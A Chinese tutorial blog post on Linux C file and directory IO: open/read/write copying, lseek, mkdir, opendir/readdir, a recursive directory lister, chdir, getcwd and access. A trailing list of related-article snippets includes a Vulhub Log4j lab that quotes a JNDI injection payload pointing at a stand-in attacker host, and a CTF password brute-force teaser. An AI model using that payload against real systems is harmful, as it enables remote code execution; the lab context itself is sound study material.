文件IO,目录IO的学习
一,头文件的添加
#ifndef _HEAD_H_ //防止重新定义宏
#define _HEAD_H_#include<stdio.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<fcntl.h>
#include<unistd.h>
#include<string.h>#endif
用法:#include“head.h” -> 在当前目录下寻找头文件
二,主函数的传参
写法:
输出结果:
理解图:
主函数的传参中,argc是传参的个数 ,const char *argv[]是一个指针数组,存放的指针类型数据
argv【n】,n=1/2/3 分别代表三个指针参数
标准示例:
int main(int argc,const char *argv[]) //argc是传参的个数 *argv[]是一个指针数组,存放的指针类型数据
{int fsrc = 0; //定义文件描述符的变量int fdst = 0;char tmpbuff[4096] = {0};ssize_t nret = 0; //定义接收read的返回值的变量if(argc!=3) //若是主函数传参数量不为3,报错{fprintf(stderr,"Usage:./a.out srcfilename dstfilename\n");return -1;}fsrc = open(argv[1],O_RDONLY);if(fsrc == -1){perror("fail to open");return -1;}fdst = open(argv[2],O_WRONLY | O_CREAT | O_TRUNC,0664);if (-1 == fdst){perror("fail to open");return -1;}while (1){nret = read(fsrc, tmpbuff, sizeof(tmpbuff)); //接收的返回值,若为0,代表读完 了。跳出循环if (nret <= 0){break;}write(fdst, tmpbuff, nret); //写入数据,从tmpbuff中写入进f dst中,字节为接收的读的返回值的数量}close(fsrc);close(fdst);return 0;
}
三,文件IO的拓展
1.标准IO是对文件IO的封装(的调用):
2.文件对应的IO操作类型:
3.lseek:
off_t lseek(int fd, off_t offset, int whence);
功能:
重新设定文件描述符的偏移量
参数:
fd:文件描述符
offset:偏移量
whence:
SEEK_SET 文件开头
SEEK_CUR 文件当前位置
SEEK_END 文件末尾
返回值:
成功返回当前偏移量(off_t 类型的)
失败返回-1
标准用法:
int main(void)
{int fd = 0;off_t len = 0; //定义一个off_t 类型的变量接收 偏移量的长度char ch = 0; //定义一个字符变量,用来作为写入数据的地址fd = open("a.txt",O_WRONLY | O_CREAT | O_TRUNC, 0664);if(fd == -1){perror("fail to open");return -1;}len = lseek(fd,10,SEEK_SET); //从开头偏移10个长度printf("len = %ld\n",len);ch = 'a';write(fd,&ch,1);len = lseek(fd,-5,SEEK_CUR);printf("len = %ld\n",len);ch = 'b';write(fd,&ch,1);len = lseek(fd,0,SEEK_SET);printf("len = %ld\n",len);ch = 'c';write(fd,&ch,1);close(fd);return 0;
四,目录IO:
1.mkdir
int mkdir(const char *pathname, mode_t mode);
功能:
创建目录文件
参数:
pathname:文件路径
mode:文件的权限
返回值:
成功返回0
失败返回-1
rwx rwx rwx
111 111 111(权限有权为1)
0777(八进制转换,作为权限的用途)
r: 目录中是否能够查看文件
w: 目录中是否能够新建文件
x: 目录是否能够进入
2.rmdir
int rmdir(const char *pathname);
功能:
删除空目录文件
返回值:
成功返回0
失败返回-1
3.opendir
DIR *opendir(const char *name);
功能:
打开目录获得目录流指针
参数:
name:目录文件路径
返回值:
成功返回目录流指针
失败返回NULL
4.closedir
int closedir(DIR *dirp);
功能:
关闭目录流指针
5.readdir
struct dirent *readdir(DIR *dirp);
功能:
从目录流中读取下一个目录项的结构体信息
参数:
dirp:目录流指针
返回值:
成功返回包含目录项信息的空间首地址
失败返回NULL
读到文件末尾返回NULL
结构体的成员: struct dirent {
ino_t d_ino; /* Inode number */
off_t d_off; /* Not an offset; see below */
unsigned short d_reclen; /* Length of this record */
unsigned char d_type; /* Type of file; not supported
by all filesystem types */
char d_name[256]; /* Null-terminated filename */
};
一个目录的创建,打开,读取信息,关闭的标准写法:
int main(void)
{DIR *dp = NULL; //定义一个这种类型的指针用来接收opendir的地址(为目录流指针)struct dirent *pp = NULL; //定义一个这种类型的指针用来接收readdir的返回值(为结构体的首地址)//mkdir("mulu",0777);//创建一个 ”mulu“ 的目录,0777为权限dp = opendir("mulu"); //打开mulu,用dp接收if(dp == NULL){perror("fail to opendir");return -1;}while(1){pp = readdir(dp); //读目录流指针的内容(是一个结构体),返回值为结构体的首地址,用pp接收if(pp == NULL){break; //若接收不到跳出}if(*pp -> d_name == '.'){continue; //若为‘.’(隐藏目录),跳出重新循环,不做打印}printf("%s\n",pp->d_name); //打印pp(结构体首地址)中 d_name 成员的内容}closedir(dp);return 0;
6.chdir
int chdir(const char *path);
参数: const char *path - 文件的目录名或者“操作指令(如..)
功能:
切换当前代码的工作路径
7.getcwd
char *getcwd(char *buf, size_t size);
参数: char *buf - 存放获得当前目录的绝对路径的地址
size_t size -
功能:
获得当前目录的绝对路径
切换当前工作路径以及获得当前路径打印:
int main(void)
{char tmpbuff[4096] = {0}; //定义一个字符数组存放获取地址的getcwd(tmpbuff,sizeof(tmpbuff)); //获取当前目录的绝对路径放在tmpbuff中printf("tmpbuff = %s\n",tmpbuff);chdir("..");getcwd(tmpbuff,sizeof(tmpbuff));printf("tmpbuff = %s\n",tmpbuff);return 0;
}
主函数的传参实现目录的信息的读取和打印:
// 主函数的传参实现目录的信息的读取和打印int ListDir(const char *pdorname) //
{DIR *dp = NULL; //目录流指针struct dirent *pp = NULL; //接收readdir返回值为结构体的首地址char tmpbuff[4096] = {0}; //存放字符串dp = opendir(pdorname); //目录流指针接收返回值if(dp == NULL){perror("fail to opendir");return -1;}while(1){pp = readdir(dp); //接收返回值,文件信息的结构体首地址if(pp == NULL){break; //为空读完跳出(递归的结束,也是目录信息的读取的结束)}if(pp -> d_name[0] == '.'){continue; //判断隐藏文件(是的话不做输出)}sprintf(tmpbuff,"%s/%s",pdorname,pp -> d_name); //sprintf是将后面计算出来的"%s/%s"中的内容都输入到tmpbuff中(拼接作用)//pdorname是接收的目录地址 pp->d_name 是文件信息结构体中的文件名字中的内容printf("%s\n",tmpbuff);if(pp -> d_type == DT_DIR) //如果结构体 -> 文件类型 == 目录类型的{ListDir(tmpbuff); //递归(此时tmpbuff作为目录地址)}}closedir(dp);return 0;}int main(int argc,const char *argv[])
{if(argc != 2) //满足参数为2个{fprintf(stderr,"Usage:./a.out dirname\n");return -1;}ListDir(argv[1]); //调用函数return 0;
}
8.access
int access(const char *pathname, int mode);
功能:
检测调用函数的程序对文件是否拥有指定权限
参数:
pathname:文件路径
mode:
R_OK 检测是否拥有读权限
W_OK 检测是否拥有写权限
X_OK 检测是否拥有执行权限
F_OK 检测文件是否存在
返回值:
有该权限返回0
出错返回-1
代码实现:
//检测文件是否存在
int main(int argc,const char *argv[])
{int ret = 0;if(argc!=2){fprintf(stderr,"Usage:./a.out dirname\n");return -1;}ret = access(argv[1],F_OK);if(ret == 0){printf("该文件存在\n");}else{printf("该文件不存在\n");}
}
相关文章:

文件IO,目录IO的学习
一,头文件的添加 #ifndef _HEAD_H_ //防止重新定义宏 #define _HEAD_H_#include<stdio.h> #include<sys/stat.h> #include<sys/types.h> #include<fcntl.h> #include<unistd.h> #include<string.h>#endif…...

leetcode(动态规划)53.最大子数组和(C++详细解释)DAY12
文章目录 1.题目示例提示 2.解答思路3.实现代码结果 4.总结 1.题目 给你一个整数数组 nums ,请你找出一个具有最大和的连续子数组(子数组最少包含一个元素),返回其最大和。 子数组 是数组中的一个连续部分。 示例 提示 2.解答思…...

BUGKU-WEB bp
题目描述 题目截图如下: 进入场景看看: 解题思路 提示说:弱密码top1000?z???(爆破?)先看看源码有没有提示 相关工具 Burp Suit 爆破top1000字典,点击下载 解题步骤 随便测试账号密码admin、admin 得到提…...
代码的复用——Mixin使用例子
Mixin(混入)是一种在Sass和Vue.js等框架中常用的技术,用于分发和重用代码。以下是Sass和Vue.js中Mixin的使用举例。 在Sass中,Mixin允许你定义可以在整个样式表中重复使用的样式。以下是一个Sass中Mixin的使用例子: …...
easyx 枪声模拟器
作品介绍:枪声模拟器 简介: “枪声模拟器”是一个基于Windows平台的简单程序,它使用C++编写,主要目的是通过模拟枪声来增强用户的体验。程序使用了图形库来展示一个蓝色的背景屏幕,并提示用户等待片刻后按空格键模拟开枪。当用户按下空格键时,程序会播放预先设定的枪声音…...

python 与 neo4j 交互(py2neo 使用)
参考自:neo4j的python.py2neo操作入门 官方文档:The Py2neo Handbook — py2neo 2021.1 安装:pip install py2neo -i https://pypi.tuna.tsinghua.edu.cn/simple 1 节点 / 关系 / 属性 / 路径 节点(Node)和关系(relationship)是构成图的基础…...
Python基础笔记11
Python小记 一行代码实现数字交换 C:\Users\mt>python Python 3.9.1 (tags/v3.9.1:1e5d33e, Dec 7 2020, 17:08:21) [MSC v.1927 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more informa…...

vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。…...

智慧城市驿站:智慧公厕升级版,打造现代化城市生活的便捷配套
随着城市化进程的加速,人们对城市生活质量的要求也越来越高。作为智慧城市建设的一项重要组成部分,多功能城市智慧驿站应运而生。它集合了信息技术、设计美学、结构工艺、系统集成、环保节能等多个亮点,将现代科技与城市生活相融合࿰…...
大模型爆款应用fabric_构建优雅的提示
项目地址:https://github.com/danielmiessler/fabric 1 引言 目前 fabric 已经获得了 5.3K Star,其中上周获得了 4.2K,成为了上周热榜的第二名(第一名是免费手机看电视的 Android 工具),可以算是爆款应用…...

js 对象属性描述符详解
文章目录 一、value二、writable三、访问器属性:get和set四、configurable五、注意事项 在 JavaScript 中,我们经常需要控制对象属性的特性,包括可写、可枚举等,本篇博客将介绍常见的对象属性使用及其特点。 本篇博客我们用首先O…...

文件操作QFile
C中,QT的QFile 类是 Qt 框架中用于文件处理的一个类,它继承自 QIODevice。该类提供了一系列用于文件读写的功能,支持文本和二进制文件的处理。QFile 允许开发者方便地在本地文件系统中创建、读取、写入和操作文件。 主要功能 文件打开与关闭…...
【Langchain】+ 【baichuan】实现领域知识库【RAG】问答系统
本项目使用Langchain 和 baichuan 大模型, 结合领域百科词条数据(用xlsx保存),简单地实现了领域百科问答实现。 from langchain.text_splitter import CharacterTextSplitter, RecursiveCharacterTextSplitter from langchain_co…...
Anaconda、conda、pip、virtualenv的区别
① Anaconda Anaconda是一个包含180的科学包及其依赖项的发行版本。其包含的科学包包括:conda, numpy, scipy, ipython notebook等。 Anaconda具有如下特点: ▪ 开源 ▪ 安装过程简单 ▪ 高性能使用Python和R语言 ▪ 免费的社区支持 其特点的实现…...

【数据结构】每天五分钟,快速入门数据结构(一)——数组
目录 一.初始化语法 二.特点 三.数组中的元素默认值 四.时间复杂度 五.Java中的ArrayList类 可变长度数组 1 使用 2 注意事项 3 实现原理 4 ArrayList源码 5 ArrayList方法 一.初始化语法 // 数组动态初始化(先定义数组,指定数组长度…...

NBlog个人博客部署维护过程记录 -- 后端springboot + 前端vue
项目是fork的Naccl大佬NBlog项目,页面做的相当漂亮,所以选择了这个。可以参考2.3的效果图 惭愧,工作两年了也没个自己的博客系统,趁着过年时间,开始搭建一下. NBlog原项目的github链接:Naccl/NBlog: &#…...

WireShark 安装指南:详细安装步骤和使用技巧
Wireshark是一个开源的网络协议分析工具,它能够捕获和分析网络数据包,并以用户友好的方式呈现这些数据包的内容。Wireshark 被广泛应用于网络故障排查、安全审计、教育及软件开发等领域。接下将讲解Wireshark的安装与简单使用。 目录 Wireshark安装步骤…...
PyTorch detach():深入解析与实战应用
PyTorch detach():深入解析与实战应用 🌵文章目录🌵 🌳引言🌳🌳一、计算图与梯度传播🌳🌳二、detach()函数的作用🌳🌳三、detach()与requires_graddz…...

uniapp 开发一个密码管理app
密码管理app 介绍 最近发现自己的账号密码真的是太多了,各种网站,系统,公司内网的,很多站点在登陆的时候都要重新设置密码或者通过短信或者邮箱重新设置密码,真的很麻烦 所以准备开发一个app用来记录这些站好和密码…...

Postman详细攻略
🍅 视频学习:文末有免费的配套视频可观看 🍅 点击文末小卡片,免费获取软件测试全套资料,资料在手,涨薪更快 一、Postman背景介绍 用户在开发或者调试网络程序或者是网页B/S模式的程序的时候是需要一些方法…...
conda相比python好处
Conda 作为 Python 的环境和包管理工具,相比原生 Python 生态(如 pip 虚拟环境)有许多独特优势,尤其在多项目管理、依赖处理和跨平台兼容性等方面表现更优。以下是 Conda 的核心好处: 一、一站式环境管理:…...

51c自动驾驶~合集58
我自己的原文哦~ https://blog.51cto.com/whaosoft/13967107 #CCA-Attention 全局池化局部保留,CCA-Attention为LLM长文本建模带来突破性进展 琶洲实验室、华南理工大学联合推出关键上下文感知注意力机制(CCA-Attention),…...

K8S认证|CKS题库+答案| 11. AppArmor
目录 11. AppArmor 免费获取并激活 CKA_v1.31_模拟系统 题目 开始操作: 1)、切换集群 2)、切换节点 3)、切换到 apparmor 的目录 4)、执行 apparmor 策略模块 5)、修改 pod 文件 6)、…...

Appium+python自动化(十六)- ADB命令
简介 Android 调试桥(adb)是多种用途的工具,该工具可以帮助你你管理设备或模拟器 的状态。 adb ( Android Debug Bridge)是一个通用命令行工具,其允许您与模拟器实例或连接的 Android 设备进行通信。它可为各种设备操作提供便利,如安装和调试…...
FFmpeg 低延迟同屏方案
引言 在实时互动需求激增的当下,无论是在线教育中的师生同屏演示、远程办公的屏幕共享协作,还是游戏直播的画面实时传输,低延迟同屏已成为保障用户体验的核心指标。FFmpeg 作为一款功能强大的多媒体框架,凭借其灵活的编解码、数据…...
Python爬虫实战:研究feedparser库相关技术
1. 引言 1.1 研究背景与意义 在当今信息爆炸的时代,互联网上存在着海量的信息资源。RSS(Really Simple Syndication)作为一种标准化的信息聚合技术,被广泛用于网站内容的发布和订阅。通过 RSS,用户可以方便地获取网站更新的内容,而无需频繁访问各个网站。 然而,互联网…...
工程地质软件市场:发展现状、趋势与策略建议
一、引言 在工程建设领域,准确把握地质条件是确保项目顺利推进和安全运营的关键。工程地质软件作为处理、分析、模拟和展示工程地质数据的重要工具,正发挥着日益重要的作用。它凭借强大的数据处理能力、三维建模功能、空间分析工具和可视化展示手段&…...

Linux-07 ubuntu 的 chrome 启动不了
文章目录 问题原因解决步骤一、卸载旧版chrome二、重新安装chorme三、启动不了,报错如下四、启动不了,解决如下 总结 问题原因 在应用中可以看到chrome,但是打不开(说明:原来的ubuntu系统出问题了,这个是备用的硬盘&a…...
今日科技热点速览
🔥 今日科技热点速览 🎮 任天堂Switch 2 正式发售 任天堂新一代游戏主机 Switch 2 今日正式上线发售,主打更强图形性能与沉浸式体验,支持多模态交互,受到全球玩家热捧 。 🤖 人工智能持续突破 DeepSeek-R1&…...

多模态大语言模型arxiv论文略读(108)
CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文标题:CROME: Cross-Modal Adapters for Efficient Multimodal LLM ➡️ 论文作者:Sayna Ebrahimi, Sercan O. Arik, Tejas Nama, Tomas Pfister ➡️ 研究机构: Google Cloud AI Re…...